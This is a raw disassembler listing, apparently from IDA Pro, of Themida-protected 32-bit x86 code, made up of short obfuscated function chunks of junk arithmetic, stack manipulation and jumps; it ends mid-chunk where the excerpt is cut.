; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5638E4
loc_56521C: ; CODE XREF: sub_5638E4+BDC9j
add esp, 4
pop [esp+8+var_8]
pop esp
jmp loc_5635A6
; END OF FUNCTION CHUNK FOR sub_5638E4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_573167
loc_565228: ; CODE XREF: sub_573167+493j
sub ecx, 59726BFAh
xor ecx, 0A270F8Eh
mov edx, ecx
pop ecx
push eax
mov eax, edx
push eax
add [esp+10h+var_10], 5DAF43E9h
jmp loc_56DFAA
; END OF FUNCTION CHUNK FOR sub_573167
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568764
loc_565247: ; CODE XREF: sub_568764-8312j
mov ebp, esp
jmp loc_5710AC
; END OF FUNCTION CHUNK FOR sub_568764
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FCD7
loc_56524E: ; CODE XREF: sub_56FCD7-4B14j
pop [esp+10h+var_10]
jmp loc_56F265
; END OF FUNCTION CHUNK FOR sub_56FCD7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_567D31
loc_565256: ; CODE XREF: sub_567D31-21DBj
push esi
mov esi, 78A40990h
push 3FF0h
mov [esp+0], ecx
push 72B3705Fh
pop ecx
push ebx
push edi
jmp loc_565383
; END OF FUNCTION CHUNK FOR sub_567D31
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E05C
loc_565271: ; CODE XREF: sub_56E05C+605Cj
mov ebp, edi
pop edi
dec ebp
shl ebp, 4
jmp loc_56087B
; END OF FUNCTION CHUNK FOR sub_56E05C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563A7F
loc_56527D: ; CODE XREF: sub_563A7F+2D17j
add ecx, 4
add ecx, 4
xchg ecx, [esp+0Eh+var_10+2]
pop esp
retn
; END OF FUNCTION CHUNK FOR sub_563A7F
; ---------------------------------------------------------------------------
jmp loc_56A8F3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574656
loc_565290: ; CODE XREF: sub_574656-CF5Cj
xor edx, 0F203F833h
mov edi, edx
pop edx
push ebp
mov ebp, 640547C1h
sub eax, ebp
mov ebp, [esp+10h+var_10]
push edi
mov edi, esp
add edi, 4
add edi, 4
jmp loc_569BE7
; END OF FUNCTION CHUNK FOR sub_574656
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_573167
loc_5652B5: ; CODE XREF: sub_573167-A7EEj
mov edx, [esp+4+var_4]
add esp, 4
xchg ebp, [esp+0]
mov esp, [esp+0]
push [esp-4+arg_0]
push dword ptr [esp+0]
pop ecx
add esp, 4
push ebx
push 4610h
push esp
pop [esp+8+var_8]
sub esp, 4
mov [esp+8+var_8], ebx
mov ebx, 4
add [esp+8+var_4], ebx
pop ebx
mov ebx, [esp+4+var_4]
add esp, 4
jmp loc_56901B
; END OF FUNCTION CHUNK FOR sub_573167
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5684A6
loc_5652F3: ; CODE XREF: sub_5684A6-7081j
not [esp+0Ch+var_C]
pop ecx
push ebx
jmp loc_56E9A0
; END OF FUNCTION CHUNK FOR sub_5684A6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570019
loc_5652FD: ; CODE XREF: sub_570019-C26Ej
push ecx
push eax
push 33FB1D44h
pop eax
inc eax
sub eax, 33FB1D41h
mov ecx, eax
pop eax
add edi, ecx
pop ecx
push ebp
mov ebp, 7BCB52CBh
push edi
mov edi, 760A5155h
and ebp, edi
pop edi
shl ebp, 1
add ebp, 0FFFFFFFFh
xor ebp, 0E414A085h
push 5775h
mov [esp+4+var_4], ebx
jmp loc_5680BB
; END OF FUNCTION CHUNK FOR sub_570019
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570621
loc_56533B: ; CODE XREF: sub_570621-E048j
add esp, 4
push edi
push esp
pop edi
jmp loc_566FD7
; END OF FUNCTION CHUNK FOR sub_570621
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570CE4
loc_565346: ; CODE XREF: sub_570CE4+2B83j
pop ecx
xor esi, ebp
pop ebp
push 282Bh
mov [esp+8+var_8], ebp
push eax
jmp sub_569B75
; END OF FUNCTION CHUNK FOR sub_570CE4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_573167
loc_565358: ; CODE XREF: sub_573167-5199j
push dword ptr [esp+4]
jmp loc_568F59
; END OF FUNCTION CHUNK FOR sub_573167
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5681F5
loc_565361: ; CODE XREF: sub_5681F5+35ACj
push 467967BBh
mov ebx, [esp+8+var_8]
add esp, 4
or ebx, 4E224C46h
shl ebx, 2
sub ebx, 5C75120h
jmp loc_563498
; END OF FUNCTION CHUNK FOR sub_5681F5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_567D31
loc_565383: ; CODE XREF: sub_567D31-2AC5j
mov edi, 3F8370BDh
or edi, 73A283Dh
inc edi
jmp loc_56E561
; END OF FUNCTION CHUNK FOR sub_567D31
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56A608
loc_565394: ; CODE XREF: sub_56A608+6j
mov [esp-4+arg_0], edi
mov edi, 4C5A2B49h
add ebp, edi
pop edi
shr ebp, 8
xor ebp, 5CC71919h
jmp loc_5607BF
; END OF FUNCTION CHUNK FOR sub_56A608
; =============== S U B R O U T I N E =======================================
sub_5653AD proc near ; CODE XREF: sub_572270-D226j
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 0056003E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0056040D SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00561A1A SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00565886 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00566778 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00568A1C SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00569663 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056B7AE SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056BDD8 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056E5D5 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0056E80F SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00570FF5 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00573EB6 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00574128 SIZE 00000007 BYTES
push ebx
mov ebx, 63825A82h
jmp loc_573EC9
sub_5653AD endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_567D31
loc_5653B8: ; CODE XREF: sub_567D31-6D57j
sub ebp, 568F0388h
mov esi, ebp
pop ebp
or esi, 3C3169D6h
xor esi, 468C2A9Bh
push ebp
jmp loc_5718C0
; END OF FUNCTION CHUNK FOR sub_567D31
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5620B7
loc_5653D3: ; CODE XREF: sub_5620B7+5307j
pop cx
shr bh, 5
xor bh, 89h
add al, bh
mov ebx, [esp+0]
add esp, 4
sub esp, 4
mov [esp+0], ebx
push 3C4Ch
jmp loc_561557
; END OF FUNCTION CHUNK FOR sub_5620B7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566078
loc_5653F6: ; CODE XREF: sub_566078+D790j
pop ecx
jmp loc_5662E9
; END OF FUNCTION CHUNK FOR sub_566078
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5685B2
loc_5653FC: ; CODE XREF: sub_5685B2-674Bj
add ebp, 0F2E9689h
mov edx, ebp
pop ebp
mov ecx, 2BD7B6D6h
add ecx, edx
jmp loc_562A5B
; END OF FUNCTION CHUNK FOR sub_5685B2
; ---------------------------------------------------------------------------
loc_565411: ; CODE XREF: Themida_:00569AD0j
mov [esp], ecx
mov ecx, 652248CDh
inc ecx
sub ecx, 71BA4A26h
jmp loc_567A27
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560844
loc_565425: ; CODE XREF: sub_560844+137FFj
shl esi, 1
sub esi, 0B8111B2Fh
mov ebx, esi
pop esi
add eax, ebx
pop ebx
push ebp
mov ebp, 22622D6h
jmp loc_56760D
; END OF FUNCTION CHUNK FOR sub_560844
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5605BC
loc_56543E: ; CODE XREF: sub_5605BC+5262j
add ebp, 8293D3BCh
xor ecx, ebp
pop ebp
mov ebp, ecx
pop ecx
and eax, ebp
mov ebp, [esp+28h+var_28]
add esp, 4
or eax, eax
jz loc_562EEF
push 569Fh
jmp loc_56049F
; END OF FUNCTION CHUNK FOR sub_5605BC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FB8A
loc_565464: ; CODE XREF: sub_56FB8A-73AFj
mov edi, [esp+8+var_8]
add esp, 4
jmp loc_563714
; END OF FUNCTION CHUNK FOR sub_56FB8A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5745B5
loc_565472: ; CODE XREF: sub_5745B5-12B3j
push edx
mov dh, 7Fh
neg dh
not dh
xor dh, 0AEh
add al, dh
pop edx
add al, dh
sub al, 0D0h
jmp loc_561623
; END OF FUNCTION CHUNK FOR sub_5745B5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564686
loc_565488: ; CODE XREF: sub_564686+129Fj
mov esp, [esp+0]
sub esp, 4
jmp loc_56F7CC
; END OF FUNCTION CHUNK FOR sub_564686
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_573612
loc_565493: ; CODE XREF: sub_573612-5D84j
add esi, 4
jmp loc_564A02
; END OF FUNCTION CHUNK FOR sub_573612
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564D26
loc_56549E: ; CODE XREF: sub_564D26+DA3Dj
sub [esp+0Ch+var_8], 2D1D6AF0h
push [esp+0Ch+var_C]
jmp loc_56D33B
; END OF FUNCTION CHUNK FOR sub_564D26
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5713A7
loc_5654AE: ; CODE XREF: sub_5713A7+32j
mov eax, 25B51C2Ah
add edx, 59496BD2h
jmp loc_5728D0
; END OF FUNCTION CHUNK FOR sub_5713A7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563A7F
loc_5654BE: ; CODE XREF: sub_563A7F+383Dj
push [esp+0Ah+var_C+2]
mov esi, [esp+0Eh+var_10+2]
push 1F70h
jmp loc_5716B7
; END OF FUNCTION CHUNK FOR sub_563A7F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574304
loc_5654CE: ; CODE XREF: sub_574304-8F1Aj
mov [esp+4+var_4], eax
push 2ED9h
mov [esp+8+var_8], ecx
push [esp+8+var_4]
mov ecx, [esp+0Ch+var_C]
add esp, 4
pop [esp+8+var_8]
xor ecx, ebp
xor ebp, ecx
xor ecx, ebp
xchg eax, ebp
push eax
not [esp+8+var_8]
mov eax, [esp+8+var_8]
add esp, 4
push ebp
push 5418h
jmp loc_567BE6
; END OF FUNCTION CHUNK FOR sub_574304
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FCD7
loc_565502: ; CODE XREF: sub_56FCD7-DDDFj
pop [esp+8+var_8]
pop esp
jmp sub_560CF1
; END OF FUNCTION CHUNK FOR sub_56FCD7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561826
loc_56550B: ; CODE XREF: sub_561826+E64Bj
add esi, 4
push edx
push edi
mov edi, 2
mov edx, edi
jmp loc_56E743
; END OF FUNCTION CHUNK FOR sub_561826
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574304
loc_56551F: ; CODE XREF: sub_574304-64A5j
neg edx
not edx
xor edx, 1D922FA2h
add esi, edx
pop edx
add esi, 4
xchg esi, [esp+0]
jmp loc_568FB0
; END OF FUNCTION CHUNK FOR sub_574304
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572E16
loc_56553A: ; CODE XREF: sub_572E16-1BBFj
add esi, 4
push edi
mov edi, 4
sub esi, edi
jmp loc_560FF5
; END OF FUNCTION CHUNK FOR sub_572E16
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561541
loc_56554D: ; CODE XREF: sub_561541+5C57j
xor ecx, esi
jmp loc_567057
; END OF FUNCTION CHUNK FOR sub_561541
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5734A7
loc_565554: ; CODE XREF: sub_5734A7-3C89j
sub esi, ebp
pop ebp
push edi
mov edi, 42D40F6h
sub esi, edi
pop edi
add esi, 225F045Ch
push edi
mov edi, 69C36732h
sub esi, 0B35CB5h
add esi, edi
add esi, 0B35CB5h
jmp loc_563C03
; END OF FUNCTION CHUNK FOR sub_5734A7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5634AF
loc_56557F: ; CODE XREF: sub_5634AF+DA5Bj
mov ebp, 2B1E392Bh
xor ebp, 32207A10h
or ebp, 463A6986h
xor ebp, 0AB4415Fh
push edx
push ecx
mov ecx, ebp
push ecx
jmp loc_5656A0
; END OF FUNCTION CHUNK FOR sub_5634AF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5620B7
loc_5655A0: ; CODE XREF: sub_5620B7+1688j
add esp, 4
jmp loc_560E40
; END OF FUNCTION CHUNK FOR sub_5620B7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56189F
loc_5655A8: ; CODE XREF: sub_56189F+14Bj
push dword ptr [esp+4]
pop eax
pop [esp+4+var_4]
pop esp
movzx ecx, al
push 1647h
mov [esp+0], ecx
jmp loc_570652
; END OF FUNCTION CHUNK FOR sub_56189F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560EA2
loc_5655C1: ; CODE XREF: sub_560EA2+CF64j
pop esi
push ebx
pop ebp
pop ebx
sub eax, 26617FFEh
add eax, 3C2B7938h
add eax, 655B651Ah
add eax, 1545461Bh
add eax, ebp
sub eax, 1545461Bh
push ebx
jmp loc_563417
; END OF FUNCTION CHUNK FOR sub_560EA2
; ---------------------------------------------------------------------------
loc_5655E6: ; CODE XREF: Themida_:0056A90Ej
sub esp, 4
jmp loc_5623FB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566078
loc_5655F1: ; CODE XREF: sub_566078+273j
push [esp-4+arg_0]
jmp loc_56880E
; END OF FUNCTION CHUNK FOR sub_566078
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565849
loc_5655F9: ; CODE XREF: sub_565849+8427j
sub ebx, edx
pop edx
sub edx, ebx
push [esp+4+var_4]
pop ebx
add esp, 4
push ebp
mov ebp, 181377C0h
add edx, ebp
pop ebp
jmp loc_567EC8
; END OF FUNCTION CHUNK FOR sub_565849
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5738F4
loc_565616: ; CODE XREF: sub_5738F4-C9FBj
push 2D17h
jmp loc_56210B
; END OF FUNCTION CHUNK FOR sub_5738F4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CC46
loc_565620: ; CODE XREF: sub_56CC46+626Dj
pop edx
jmp loc_56B758
; END OF FUNCTION CHUNK FOR sub_56CC46
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D69D
loc_565626: ; CODE XREF: sub_56D69D+570Fj
pop edx
jmp loc_571E91
; END OF FUNCTION CHUNK FOR sub_56D69D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570732
loc_56562C: ; CODE XREF: sub_570732-92Fj
pop esi
jmp loc_5690D5
; END OF FUNCTION CHUNK FOR sub_570732
; =============== S U B R O U T I N E =======================================
sub_565632 proc near ; CODE XREF: sub_56651E+2C91j
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
; FUNCTION CHUNK AT 005609B5 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 00563B6C SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005665D4 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005670EE SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056739E SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00567CD4 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00567E4A SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00568776 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00568808 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00568FD7 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056A99B SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0056B517 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0056B6DD SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056BBC6 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0056C098 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0056C2DA SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0056C52E SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0056CAE8 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0056D428 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0056DAF0 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 0056DDA3 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056E289 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0056E45D SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0056F26D SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0056F2EA SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056F3EC SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056F4B3 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056F837 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00570305 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00570865 SIZE 00000004 BYTES
; FUNCTION CHUNK AT 00570971 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00571958 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00571CC7 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00571FBD SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0057258F SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00572A4C SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00573D30 SIZE 00000030 BYTES
; FUNCTION CHUNK AT 00574716 SIZE 00000006 BYTES
sub esp, 4
jmp loc_567E4A
sub_565632 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561418
loc_56563A: ; CODE XREF: sub_561418+A944j
mov [esp+14h+var_14], ebp
push 5FBA31A4h
push [esp+18h+var_18]
pop ebp
jmp loc_56622C
; END OF FUNCTION CHUNK FOR sub_561418
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574304
loc_56564B: ; CODE XREF: sub_574304+3j
mov [esp+4+var_4], esp
add [esp+4+var_4], 4
push [esp+4+var_4]
jmp loc_5734B3
; END OF FUNCTION CHUNK FOR sub_574304
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572669
loc_56565A: ; CODE XREF: sub_572669+1j
mov ebx, 23105BCFh
add edx, ebx
pop ebx
push ecx
push esp
jmp loc_568537
; END OF FUNCTION CHUNK FOR sub_572669
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5634AF
loc_565669: ; CODE XREF: sub_5634AF+365j
sub edx, 25C36349h
add edx, 90E1B49h
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_5634AF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_567D31
loc_56567A: ; CODE XREF: sub_567D31+B52Fj
add esi, 48C03077h
pop ebx
and ecx, esi
mov esi, [esp-4+arg_0]
jmp sub_56C83E
; END OF FUNCTION CHUNK FOR sub_567D31
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560CF1
loc_56568B: ; CODE XREF: sub_560CF1+F207j
mov eax, [esp+14h+var_14]
jmp loc_5639E7
; END OF FUNCTION CHUNK FOR sub_560CF1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572641
loc_565693: ; CODE XREF: sub_572641-11CA5j
add esp, 2
xor dl, 99h
mov bl, dl
jmp loc_569FEE
; END OF FUNCTION CHUNK FOR sub_572641
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5634AF
loc_5656A0: ; CODE XREF: sub_5634AF+20ECj
add dword ptr [esp+0], 57472D9Fh
jmp loc_5645C5
; END OF FUNCTION CHUNK FOR sub_5634AF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561826
loc_5656AC: ; CODE XREF: sub_561826+1318Fj
xor [esp+6+var_6], bp
jmp loc_575465
; END OF FUNCTION CHUNK FOR sub_561826
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57354D
loc_5656B5: ; CODE XREF: sub_57354D-93CCj
xor eax, edx
push esi
mov esi, 264438C1h
push ebp
jmp loc_56788D
; END OF FUNCTION CHUNK FOR sub_57354D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569FB8
loc_5656C3: ; CODE XREF: sub_569FB8+B1B2j
mov ebp, 38690BB6h
xor ebp, 38690BB4h
add ecx, ebp
pop ebp
xchg ecx, [esp+6+var_6]
jmp loc_560643
; END OF FUNCTION CHUNK FOR sub_569FB8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574CDD
loc_5656D9: ; CODE XREF: sub_574CDD-D390j
mov edi, eax
pop eax
add edi, 1
add edi, 0FFFFFFFFh
neg edi
xor edi, 0D793A247h
xor ecx, edi
pop edi
jmp loc_56EB58
; END OF FUNCTION CHUNK FOR sub_574CDD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5713A7
loc_5656F5: ; CODE XREF: sub_5713A7-F5E9j
push esp
pop ebp
add ebp, 4
add ebp, 4
xchg ebp, [esp+0Ch+var_C]
pop esp
push ebx
push 1F3335B9h
pop ebx
jmp loc_571CA7
; END OF FUNCTION CHUNK FOR sub_5713A7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571088
loc_565713: ; CODE XREF: sub_571088-1CEFj
mov cx, [esp+0]
jmp loc_56A6B0
; END OF FUNCTION CHUNK FOR sub_571088
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570FB7
loc_56571C: ; CODE XREF: sub_570FB7-5573j
push 5A2Dh
jmp loc_5605F5
; END OF FUNCTION CHUNK FOR sub_570FB7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564CDA
loc_565726: ; CODE XREF: sub_564CDA-47EDj
add ebp, eax
add ebp, 578633E3h
pop eax
jmp loc_56EF17
; END OF FUNCTION CHUNK FOR sub_564CDA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574304
loc_565734: ; CODE XREF: sub_574304-513Aj
mov eax, 4
add ebp, eax
pop eax
add ebp, 4
xchg ebp, [esp+4+var_4]
pop esp
push esi
sub esp, 4
mov [esp+8+var_8], esp
add [esp+8+var_8], 4
pop esi
add esi, 4
add esi, 4
xchg esi, [esp+4+var_4]
pop esp
jmp loc_56B3E0
; END OF FUNCTION CHUNK FOR sub_574304
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56BD44
loc_565761: ; CODE XREF: sub_56BD44-B6AEj
mov esp, [esp+0]
mul cx
push small 2F7Ch
mov [esp+0], dx
jmp loc_56C0CE
; END OF FUNCTION CHUNK FOR sub_56BD44
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568E5C
loc_565774: ; CODE XREF: sub_568E5C-45C6j
push 385h
mov [esp+8+var_8], eax
mov eax, 6469501Eh
push edx
jmp loc_561720
; END OF FUNCTION CHUNK FOR sub_568E5C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56616D
loc_565787: ; CODE XREF: sub_56616D+C2CBj
or eax, eax
jz loc_570135
push dword ptr [edi+28h]
jmp loc_57485E
; END OF FUNCTION CHUNK FOR sub_56616D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572DD7
loc_565797: ; CODE XREF: sub_572DD7-78F7j
pop ecx
mov ebx, edi
pop edi
add [esp+4], ebx
pop ebx
push eax
mov eax, 20CD74EDh
jmp loc_574396
; END OF FUNCTION CHUNK FOR sub_572DD7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56102D
loc_5657AB: ; CODE XREF: sub_56102D+1j
mov ebx, 73665EFFh
shr ebx, 2
shl ebx, 4
jmp loc_56FD5E
; END OF FUNCTION CHUNK FOR sub_56102D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574F16
loc_5657BB: ; CODE XREF: sub_574F16-3B9j
mov dl, bl
pop ebx
push eax
jmp loc_569438
; END OF FUNCTION CHUNK FOR sub_574F16
; ---------------------------------------------------------------------------
loc_5657C4: ; CODE XREF: Themida_:005700ADj
add ebx, 3A137ACFh
jmp loc_563A60
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D855
loc_5657CF: ; CODE XREF: sub_56D855-F31j
push edi
push esi
jmp loc_56158E
; END OF FUNCTION CHUNK FOR sub_56D855
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570C6A
loc_5657D6: ; CODE XREF: sub_570C6A-A33Aj
push edi
mov edi, esp
add edi, 4
jmp loc_56C77A
; END OF FUNCTION CHUNK FOR sub_570C6A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5678CB
loc_5657E4: ; CODE XREF: sub_5678CB-436j
pop esp
jmp loc_57387C
; END OF FUNCTION CHUNK FOR sub_5678CB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57117B
loc_5657EA: ; CODE XREF: sub_57117B+946j
neg cl
push ebx
mov bl, 0Ch
xor cl, bl
pop ebx
xor cl, 0ACh
push eax
mov al, cl
mov bh, al
pop eax
mov ecx, [esp+0Ch+var_C]
add esp, 4
push ecx
jmp loc_57148F
; END OF FUNCTION CHUNK FOR sub_57117B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56241E
loc_56580A: ; CODE XREF: sub_56241E+13032j
add esp, 4
sub cx, bx
jmp loc_567E0C
; END OF FUNCTION CHUNK FOR sub_56241E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5605BC
loc_565818: ; CODE XREF: sub_5605BC+75D5j
xor ebp, 7EF42466h
jmp loc_56543E
; END OF FUNCTION CHUNK FOR sub_5605BC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57146D
loc_565823: ; CODE XREF: sub_57146D-E49Aj
sub edx, 4
xor edx, [esp+0Ah+var_C+2]
xor [esp+0Ah+var_C+2], edx
xor edx, [esp+0Ah+var_C+2]
pop esp
mov [esp+6+var_8+2], edx
jmp loc_56FDE4
; END OF FUNCTION CHUNK FOR sub_57146D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5605BC
loc_565838: ; CODE XREF: sub_5605BC+293Dj
mov ecx, [esp+20h+var_20]
push edx
mov edx, esp
add edx, 4
jmp loc_563F70
; END OF FUNCTION CHUNK FOR sub_5605BC
; =============== S U B R O U T I N E =======================================
sub_565849 proc near ; CODE XREF: sub_566882+88ABj
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 00561AAC SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00564D45 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005655F9 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00567EC8 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056DC64 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056F132 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0057088D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00571E59 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00572826 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0057452C SIZE 00000032 BYTES
push ebx
mov ebx, 42035CAh
jmp loc_56DC64
sub_565849 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565B6E
loc_565854: ; CODE XREF: sub_565B6E-1C2Fj
push edi
mov edi, 7585596Dh
push ebx
mov ebx, 48ED28B1h
shl ebx, 7
shl ebx, 6
push ecx
push edi
jmp loc_5727C4
; END OF FUNCTION CHUNK FOR sub_565B6E
; ---------------------------------------------------------------------------
loc_56586D: ; CODE XREF: Themida_:00568785j
not dword ptr [esp]
jmp loc_571BC6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D69D
loc_565875: ; CODE XREF: sub_56D69D+212Aj
or edx, 72B53F1Ah
sub edx, 2C720372h
jmp loc_562460
; END OF FUNCTION CHUNK FOR sub_56D69D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5653AD
loc_565886: ; CODE XREF: sub_5653AD+EB17j
mov edx, 229A0504h
